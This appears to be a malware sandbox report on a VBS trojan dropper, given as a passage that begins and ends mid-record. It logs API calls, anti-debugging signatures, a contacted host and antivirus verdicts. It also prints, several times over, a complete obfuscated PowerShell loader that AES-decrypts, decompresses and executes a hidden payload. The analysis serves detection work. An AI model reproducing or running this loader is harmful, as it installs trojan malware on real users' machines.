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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell - }
filepath: powershell.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\system32\cmd.exe
parameters: /c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell -
filepath: C:\Windows\System32\cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1636 CREDAT:145409
host 117.18.232.200
Arcabit VB:Trojan.Valyria.D20AD
Cyren VBS/Agent.BCE
Symantec ISB.Downloader!gen63
ESET-NOD32 VBS/Agent.QVZ
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VB:Trojan.Valyria.8365
MicroWorld-eScan VB:Trojan.Valyria.8365
Emsisoft VB:Trojan.Valyria.8365 (B)
VIPRE VB:Trojan.Valyria.8365
FireEye VB:Trojan.Valyria.8365
MAX malware (ai score=83)
GData VB:Trojan.Valyria.8365
Google Detected
ALYac VB:Trojan.Valyria.8365
Ikarus Trojan.VBS.Agent
Fortinet VBS/Agent.QVZ!tr
parent_process iexplore.exe martian_process powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell - }
parent_process iexplore.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CkSLmk = 'AAAAAAAAAAAAAAAAAAAAAAIbQTjOSbQZt9o3SjBvzvkQdn7hsQsxu+Eo4RJxOvcKUDqkEvEnbYuqy8cb9AUGZY/bTE9G0DaXqaOztLiEEq9fktIzUbjdF5LAwZRegBnPFtfDsKZEr6J06x7rtMKbm6YEiNN9EySla3HPdr2X9VJ+JkcJPrnWn6PBQFCaJhvPzraUI1Rd/PSXyY/5Z60co49LZUugmv4ULKu/jPpUzaBfiHJKm/aDB7Pzd9xz6OqzsOLvyhvtuwBfA0Gnuf9QdOrAdYHWUnHN7eNz+QkaBQJC/uKV7oaGgvw/GtaMYqOP7n7+ntn/cXfDujVOSQStVYkj8zZ5xaZMaAj9Y7z6R6U4ZUGaPVw7Hu9+8FMKVpWdQ+Wl6bijb6WUEdVzC3Rw7WgPR07I8n/DWPGfK2lDsq8+vC+y6xg7BbkUYypE+gYLfHWKaB8FUstAxEr4jGw4uzB07jleq8qghpPOP9G6Oo8bWdM271gu2hIOKk1B8RF8GKOd11k4Ybxc00mUqd50yseaJIBPgCu76aVgvZAh5B3/zURUMPrcI8YUXnnSUBCDkfz7QARbuoJ7H1Bhimr/z3qn7/+4CGnEqSWYNqEik3R+ZoL7acYKq9VcrJ5UWmdSowN8kt5NF70R9S4yCB2HwRGpqAXCKWVTF88mx4hNm+NMEm7Xe3H6fGuG13yycQV+B42fv/lRYorl/Tndn3OhZXp+DoBuOQhXWNuYB9Ln0L1Svw673r4jU6de481c1glkQ8JUoWiR3W+3dV211K4J+XRzk3VuphvXbkYDes2m2Hnfs9HnfMaHDStxryN10dqgEprWpziBLdAdR40QouOqQvZuE4Fe5LzxNumNRzjkBZSD1CFRSleMrmTZhULJPlNgDjZG9lVT88e0pw3jydVd6nH1uRdBN2rtiLGmntdWmTwwwcxg2eM+n2tAToY3vJLhfNZsS0fHebiZyzFG7SAq0/PgpwBewVxRGrnNx1d2hEGZeekv74dNG6oRaW/PAfTi7nbdZwG42iEgQBXbxhuy2nOHHGa3YSRbHZL0vSe6FvEqEVW55elo7+nmw91xwJ8IZho1DqVpF+EyyRFUu0kTYDnqUjauUZDv1anDSUSqFaTQRy1f+J295oiKgfapxd47z7vcZbsvOZX8z/WyyhLt9lp0+ma4M1n1Jq9QiM6yWfyXeM4eu67wrmxtz2f/8N/TmCwpncwEEKVflFbCN4X4ZiQONywVLEE3hxaN7EvE8bRAp3shomvROEsCNv6bveJlyekwUuExUAjvQugAC5Ndi7As6Axy3mGUZUs/j0MUiyu0UDB1kRNtiT+1teuEgVFHVU2mBlxiy9czF/n4FuqTF4Kwzd5xzaAjnD+es0JXbygU18Btt/TDwrDCH2+Rpi/xmw+iHGXf8+QBpthGnR5j4hJvPVBF4yum+xqkFYCv6qI/ZiR5nAQhev64Svb5aRi9MTmbyqovsy9hFg2sGiJ/8R+aWm4WK41nALjCQWiHh01W8jGIg/iFJp0at4usBLaQ/nthZPZA2MEcYAcsr+SGSnob5Cx6xcUGn6lLYyrV44rHh7p0pRKX03UfqPWYWqRyfUu2HchVQsTRECQNwKiFmy/DoLxplUBaQAMreM6KnL9eH98g/Pv811fUn8u3l4xiBnYE68Od7OqV0swwXZlZHO7zqkgjqyoUUrxj8Okr1Fl+cSZ1EC8fJFJ1YJJ5SiRAOXj2FRviA4n90OERPU3CkuhXn3IkHOWrrZAQyGKl+pN8MFLUns97TJZNoTqe9DcEx5XwmO